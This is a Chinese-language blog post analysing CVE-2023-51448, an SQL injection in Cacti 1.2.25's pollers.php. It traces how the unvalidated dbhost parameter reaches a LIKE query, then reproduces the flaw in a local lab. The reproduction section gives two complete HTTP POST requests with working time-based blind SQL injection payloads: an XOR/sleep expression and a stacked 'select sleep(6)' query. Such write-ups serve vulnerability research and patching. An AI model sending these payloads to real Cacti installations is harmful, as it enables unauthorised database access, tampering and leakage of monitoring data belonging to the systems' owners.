Cacti SQL注入漏洞分析(CVE-2023-51448)

Cacti 为全球用户提供强大且可扩展的运营监控和故障管理框架。它还是一个完整的网络绘图解决方案,旨在利用RRDTool的数据存储和绘图功能。Cacti 包括一个完全分布式和容错的数据收集框架、用于设备、图表和树的高级基于模板的自动化功能、多种数据采集方法、通过插件进行扩展的能力、基于角色的用户、组和域管理功能,此外还有一个主题引擎和多种语言支持,所有这些都是开箱即用的。

Cacti pollers.php文件接口在SQL注入漏洞。攻击者可以通过构造恶意的SQL语句,成功注入并执行恶意数据库操作,可能导致敏感信息泄露、数据库被篡改或其他严重后果。

影响版本1.2.25

代码分析

由action=save 进入form_save函数

 

 

由save_component_poller=1进入if语句之后由id=2 再进入下面的if语句

$save['dbhost']        = form_input_validate(get_nfilter_request_var('dbhost'),    'dbhost',    '', true, 3);

dbhost没有给$regexp_match,等于form_input_calidate没有做任何处理

 

根据message信息判断这里两个if语句要是id不能为重复的值

因为dbhost不等于localhost接下来进入321行,id=2 大于1 进入poller_host_duplicate函数

 

这里显然易见,$host被拼接在like语句之后,可以进行sql注入。

漏洞复现 

下载源码搭建测试环境

 使用admin/admin进入后台,进入数据采集器页面(pollers.php),查看源码获取__csrf_magic值

后发送如下的包,进行sql盲注判断
 

POST /pollers.php?header=false HTTP/1.1
Host: 192.168.76.128:8080
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.76.128:8080/pollers.php?clear=1&
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: CactiTimeZone=480; Cacti=b916ec1e58797bcfe864ccad55fc18a1; cacti_remembers=1%2C0%2Cd91e36164ef89e826e01c8ca07c4bcb6492a66848a0b6c73cff8f5b4ace752f9; CactiDateTime=Sun Aug 18 2024 20:52:33 GMT+0800 (中å½æ åæ¶é´)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 230

__csrf_magic=sid:60616422313682591b714451a04204353c1b2403,1723985760&name=Main+Poller&hostname=unknown&timezone=&notes=&processes=1&threads=1&id=2&save_component_poller=1&dbhost="XOR(if(now()=sysdate(),sleep(4),0))XOR"&action=save

或者

POST /pollers.php?header=false HTTP/1.1
Host: 192.168.76.128:8080
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.76.128:8080/pollers.php?clear=1&
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: CactiTimeZone=480; Cacti=b916ec1e58797bcfe864ccad55fc18a1; cacti_remembers=1%2C0%2Cd91e36164ef89e826e01c8ca07c4bcb6492a66848a0b6c73cff8f5b4ace752f9; CactiDateTime=Sun Aug 18 2024 20:52:33 GMT+0800 (中å½æ åæ¶é´)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

__csrf_magic=sid:60616422313682591b714451a04204353c1b2403,1723985760&name=Main+Poller&hostname=unknown&timezone=&notes=&processes=1&threads=1&id=2&save_component_poller=1&dbhost=";%20select%20sleep(6);%20select%20*%20from%20poller%20where%201=1%20and%20"%"="&action=save

效果如下

 

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值